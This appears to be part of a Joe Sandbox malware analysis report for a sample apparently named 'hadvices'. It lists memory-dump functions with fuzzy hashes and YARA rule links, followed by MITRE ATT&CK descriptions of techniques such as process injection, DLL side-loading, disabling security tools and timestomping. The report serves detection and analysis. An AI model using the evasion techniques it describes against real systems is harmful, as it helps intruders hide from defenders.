Uniqueness Score: -1.00%

Function 01774E11 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70fc0017ba6100a358ee8664deb641edea44c4ed543a7bf529d3e448c491da89
Instruction ID: e834e60e6cc0e537bb3b9f52a4a6210849f25a330416bb2495191f8f7d2e4a3c
Opcode Fuzzy Hash: 70fc0017ba6100a358ee8664deb641edea44c4ed543a7bf529d3e448c491da89
Instruction Fuzzy Hash: 2731E8756081099FDF15DF68E944BAABBF2FF8C321F004465E90697248CB34DD51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 017720B8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7380067b96ac7689ab47e091cf05a196716c94813588276e96c8fb49feda24e3
Instruction ID: 1ec9e2deae1ff01b2e03b83874471ba29a83c857e411e95e36982a1d2fafdbbc
Opcode Fuzzy Hash: 7380067b96ac7689ab47e091cf05a196716c94813588276e96c8fb49feda24e3
Instruction Fuzzy Hash: ED21F735A002059FCF14DB28C840AAE7BE5EB8C350F51C159D9198B255EA31EE46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0171D404 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454208096.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_171d000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f93010ddc9f99382ef440655cdcd9e950d9fcc33ca41463f4c7cbca4ef78e18b
Instruction ID: 7ea500ef6639fecf63a2c0ef43d6fa4cdad23347ae16703433b93eb40a2c2787
Opcode Fuzzy Hash: f93010ddc9f99382ef440655cdcd9e950d9fcc33ca41463f4c7cbca4ef78e18b
Instruction Fuzzy Hash: 1D210671544240DFDB25DF98D9C8B56FF65FB88324F20C1A9DD090B24AC336E456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01775AC8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45c591087562079889ced7982bbf0b1146e07769cc5f0e95faa296a5235c1351
Instruction ID: 09f14107f6029177f8b5c304e5052051c28954cd0608b5fd500c6768ae1b2f51
Opcode Fuzzy Hash: 45c591087562079889ced7982bbf0b1146e07769cc5f0e95faa296a5235c1351
Instruction Fuzzy Hash: D221C3357016118FCB299B2DD454A3EFB92FF88661B044179E916CB3A8CF30DC028BD0

Uniqueness

Uniqueness Score: -1.00%

Function 01771F60 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 061a46b3853f5befcd86fa7a44032603f9138e24b688249036617753f67c116d
Instruction ID: d8140053802d817dd83bfb051a6083e304ca83fe07cb2071495f377e49c6a44c
Opcode Fuzzy Hash: 061a46b3853f5befcd86fa7a44032603f9138e24b688249036617753f67c116d
Instruction Fuzzy Hash: 73216B70C042098FCF15EFA8D5946EEBFF0FF4A311F5441AAC841B6255EB304A89CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0172D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454339554.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_172d000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bfdc0b0ff8ab1f8f2f78b81e7a1e160588bd5e252048f47db92daa6c5d6a799
Instruction ID: 08cd88208142d8e4b9da17ca2ed953c2db5fb09840f249051aa548211d1640e4
Opcode Fuzzy Hash: 3bfdc0b0ff8ab1f8f2f78b81e7a1e160588bd5e252048f47db92daa6c5d6a799
Instruction Fuzzy Hash: 7321F2716042049FDB35DF64D9C4B26FB65FB88314F20C5ADE8494B262C73AD847CA62

Uniqueness

Uniqueness Score: -1.00%

Function 01773A45 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b377760942ae707a2b0a5ff173cb1a645271195542b5fe9ce642c4cfe75bac6
Instruction ID: d7cd75cc196d51f3076041db642fb7e4130921a930f78c4d158e0672103663dd
Opcode Fuzzy Hash: 0b377760942ae707a2b0a5ff173cb1a645271195542b5fe9ce642c4cfe75bac6
Instruction Fuzzy Hash: 2F318578E01308DFCB48DFA9E59499DBBB2FF49305B2050A9E819AB324DB35AD45CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01778F21 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33ce9805b41a9b5109404fe8d4c16fddec5ff4c97ffb6d9b8649b83d5116b9c4
Instruction ID: 1fb9b588c280c24a19bd9ef7346ad0220c28086c16336eaa0a0ca7d377d560e9
Opcode Fuzzy Hash: 33ce9805b41a9b5109404fe8d4c16fddec5ff4c97ffb6d9b8649b83d5116b9c4
Instruction Fuzzy Hash: 1321A9B0E012099FDF09CFAAD554AEEBFB2EF48301F148069E511E6290DB30D941DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0177DBD8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec478d53e29d11baf9c67b73056157eb533a4f351e05036fe381aee66bab97c9
Instruction ID: ed80cc357386961db2197b0354daf23b2c45d78eda994a7219f640cda45e4ace
Opcode Fuzzy Hash: ec478d53e29d11baf9c67b73056157eb533a4f351e05036fe381aee66bab97c9
Instruction Fuzzy Hash: 64213870D002099FEB14EFA9D940B9EBFF1FB84301F0081A9D4149B358EB745E46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0171D3FF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454208096.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_171d000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 51f87767ee1a344a007fe3e920197b555e4a94ad2914b3d3178f0dfddf660146
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 6611CD76544280CFCB16CF48D5C4B56BF62FB84324F24C1A9DC090A65AC33AE456CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01771FB8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee85da43ea24a7b449b55216c4225e661da92992f5161d75bfe30dd579be9d3e
Instruction ID: 84245a291486d609f411395e78caf17f7ad9b419e7c2575067936eeb70736111
Opcode Fuzzy Hash: ee85da43ea24a7b449b55216c4225e661da92992f5161d75bfe30dd579be9d3e
Instruction Fuzzy Hash: D421DDB4C012098FCF04EFA9D945AEEBFF5FB18300F10916AD815B2214EB305A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0177DBE8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde8af53c215890ca40acb6736f52891597abf9491492b6a4778dc974c838127
Instruction ID: 1290dbcaea7516b46e80079c9367447c3dde152e0f7c710a80dc42eeec1308be
Opcode Fuzzy Hash: bde8af53c215890ca40acb6736f52891597abf9491492b6a4778dc974c838127
Instruction Fuzzy Hash: 47110A74D002099FEB14EFA9D540A9EBFF2FB84301F14C5A9D015AB358EB745E46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0172D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454339554.000000000172D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0172D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_172d000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: d03d551c6d5781b24451c6b020d0e6b088bc94f8bf72f50a72eb1c2bf7018ad6
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: F611BB75504284CFCB26CF54C9C4B15FBA2FB84324F24C6A9D8494B6A2C33AD84BCF62

Uniqueness

Uniqueness Score: -1.00%

Function 0177565F Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 845c457121b97110efc995216ffa346793be9be6b5b4f918438a8455eef0ee04
Instruction ID: f555332a14422d03696b194fb63765f1756fe7d4672309d789a23995c935b69d
Opcode Fuzzy Hash: 845c457121b97110efc995216ffa346793be9be6b5b4f918438a8455eef0ee04
Instruction Fuzzy Hash: F501F572B012056FCF06DF68A8046EE7FA7DFCC651B14806AF508DB289CA3199528BA0

Uniqueness

Uniqueness Score: -1.00%

Function 01779769 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d488a6bd71fb32f46fbffa36a173b8739202807ad596df0e63e17c8fb112c87f
Instruction ID: f81e6c0ca165af27818561eac49b5d72321b0a8d23b99f10c02c0c6900f9a296
Opcode Fuzzy Hash: d488a6bd71fb32f46fbffa36a173b8739202807ad596df0e63e17c8fb112c87f
Instruction Fuzzy Hash: 1D012175A042199EEF04DAA8D844FFFF7A9EB98324F048465E601D7245D535D9418BE0

Uniqueness

Uniqueness Score: -1.00%

Function 01772068 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f08218b1655595dd9a1a53d01c5088eb2d822676f99a891ad8106da9b09309d
Instruction ID: b1c5bb5151150f11e2c859849b12274bbc4fdec36616ca5d546d80b89994a2fc
Opcode Fuzzy Hash: 7f08218b1655595dd9a1a53d01c5088eb2d822676f99a891ad8106da9b09309d
Instruction Fuzzy Hash: 83E08632D2022953C710A7B5DC067EEBB78EF85222F558632D41076144EB71665982A1

Uniqueness

Uniqueness Score: -1.00%

Function 01772078 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43cd1e7eafbd68698ec8abdfc175369a15f04ccf13494186c30635c7e49565eb
Instruction ID: 57fcb7b713a7cc3cda5ba3b18cc872e01c18247b14ea8750140405754ef26a03
Opcode Fuzzy Hash: 43cd1e7eafbd68698ec8abdfc175369a15f04ccf13494186c30635c7e49565eb
Instruction Fuzzy Hash: 84D02B31D2032A43CB00E7A5DC044EFFB38EEC1322B918322D41033000FB312658C2E1

Uniqueness

Uniqueness Score: -1.00%

Function 017782B8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: a6c414d595d3d9bb6e77fb0040a0f376d4cbf24b87457c2d0d78963b0da852a4
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 0FC0127320C1282AAB25508EBC48AA7FA8CC2C22B5F210177F91CA3302A8429C8001B6

Uniqueness

Uniqueness Score: -1.00%

Function 0177A76D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb8869b5e4a869361567753feeb61589a631bb9453be03bfb6e94488fe0e5a8
Instruction ID: e0fc6fd7c2b19dfd202ccd13835dcaee5ffb6c1a137dbbad473fbf0cadbc5ed3
Opcode Fuzzy Hash: adb8869b5e4a869361567753feeb61589a631bb9453be03bfb6e94488fe0e5a8
Instruction Fuzzy Hash: 59D0677AB010089FCB049F98E8409DDB7B6FF9C221B448116E915A3265C6319961DB64

Uniqueness

Uniqueness Score: -1.00%

Function 01775F00 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02bfd98894d97e58700f6c8d726e7f7ca47d172a904067bf4395cc6151ef33b2
Instruction ID: 5ac4076a8ee30256011be140b1f299ac63b172142efd7b0c0f844fde4b007d33
Opcode Fuzzy Hash: 02bfd98894d97e58700f6c8d726e7f7ca47d172a904067bf4395cc6151ef33b2
Instruction Fuzzy Hash: 6AD02B709083468FD712F731E9041143F39BA80105BC084A1E8144D45FFE7D2C498762

Uniqueness

Uniqueness Score: -1.00%

Function 0177CEFC Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aefecec8e26e882258abcac186bf9cb86a19dd7bfb53c15d39d609b2c4a4e67
Instruction ID: c968dcda1a2a9f464a0fbc11de4c43c65bbae48d166d1e953f1c3e1870b837c6
Opcode Fuzzy Hash: 1aefecec8e26e882258abcac186bf9cb86a19dd7bfb53c15d39d609b2c4a4e67
Instruction Fuzzy Hash: B5D04275E0410DCBCF24EFA5E9545DCBBB0EF4C222F24546AD925A3211D73055558F51

Uniqueness

Uniqueness Score: -1.00%

Function 01775F10 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43a133960ebd97f0e89b0f6df516a3a8bce803568fcf382bc1e6cb52790d0368
Instruction ID: 3db7a243403187c0056973f86584c5b0644551c58dfd8fff5a465d83f3ed8e65
Opcode Fuzzy Hash: 43a133960ebd97f0e89b0f6df516a3a8bce803568fcf382bc1e6cb52790d0368
Instruction Fuzzy Hash: 2AC0127450030A8BD615F776EA44555772ABAC0102F408510A0190955DDE787D8956A1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01667CB2 Relevance: 2.9, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

Teq, xrefs: 01667E65
Teq, xrefs: 01667E8C

Memory Dump Source

Source File: 00000019.00000002.2453885450.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1660000_hadvices.jbxd

Similarity

API ID:
String ID: Teq$Teq
API String ID: 0-2938103587
Opcode ID: 7c18e751eb2385262aa0bc5c0dae988395300b394bb3bc2373395a6856c8f68c
Instruction ID: 2d9c4369d4a8bbccf08cedc899673625cff4d86056ac1409bcbe7d6e0a1c10a9
Opcode Fuzzy Hash: 7c18e751eb2385262aa0bc5c0dae988395300b394bb3bc2373395a6856c8f68c
Instruction Fuzzy Hash: B7128D74A01228CFCB64DF65C994B99BBB2FF89301F1085E9D909A7364DB35AE81CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0177E310 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee389a463e129b5d15c9eb87459633bbab6a05ff605d0950622be66f1a8554f
Instruction ID: d73efeb387e7b4d37b9587f6cab8cf94f1eb036d81e69394bce20b91a34c5119
Opcode Fuzzy Hash: 3ee389a463e129b5d15c9eb87459633bbab6a05ff605d0950622be66f1a8554f
Instruction Fuzzy Hash: 72529A74E01228CFEB64DF69C984BDDBBB2BB89301F1081EAD409A7254DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016680B3 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2453885450.0000000001660000.00000040.00000800.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1660000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c618b8ae3bd3f48440437819cfe4bd4038d120acda945283e7c2b261f8eedec
Instruction ID: 6a7816472d93098d71a61208b769b1e6bd43c7d53219baf8b22541f5f763e720
Opcode Fuzzy Hash: 1c618b8ae3bd3f48440437819cfe4bd4038d120acda945283e7c2b261f8eedec
Instruction Fuzzy Hash: 8AA17F78A00218CFDB64DF69C894B99BBB1FF49311F1181D9E949AB361DB30AE91CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0177E943 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77e1560883884c7d3e5229564678877486d69ed63cca4a57036a95b76e51f62
Instruction ID: e05cb7824879bed9c51ec3ceaf5c1f693ab85d6e383dc4e34b5ec8cde77da852
Opcode Fuzzy Hash: b77e1560883884c7d3e5229564678877486d69ed63cca4a57036a95b76e51f62
Instruction Fuzzy Hash: C9A16B74A01228CFDB69DF68C994BE9BBB2BF4A301F1085E9D409A7254DB319EC1CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0177EB23 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f9ad9a72b55e3e1a2fd2574fcc818537623fe955e7f88574dd2eebf29e8a2cd
Instruction ID: f75c88d547ccad0bf3499ece1da698d2e2cdafaee7098e297d06e594e98bdd64
Opcode Fuzzy Hash: 7f9ad9a72b55e3e1a2fd2574fcc818537623fe955e7f88574dd2eebf29e8a2cd
Instruction Fuzzy Hash: E4518F74A01228CFCB69DF24C954BE9BBB2BF4A301F5095E9D40AA7354DB319E81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 017760E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 017760F4
\;q, xrefs: 017760FE
\;q, xrefs: 0177611A
\;q, xrefs: 01776126

Memory Dump Source

Source File: 00000019.00000002.2454796306.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_1770000_hadvices.jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: 800f130cf609ae8e5de83127ce81e0fafdf4f60535ec03bebcbb2ef243da9d27
Instruction ID: c8ef5be054be2ef185d5b7e34736cb9ef5e0b2ff6d296cc6748ba3b4ecd183cb
Opcode Fuzzy Hash: 800f130cf609ae8e5de83127ce81e0fafdf4f60535ec03bebcbb2ef243da9d27
Instruction Fuzzy Hash: A10184317009148FEF259A2DE448A25F7E7AF88664F2941B9F906CB36BDA31DC418790

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

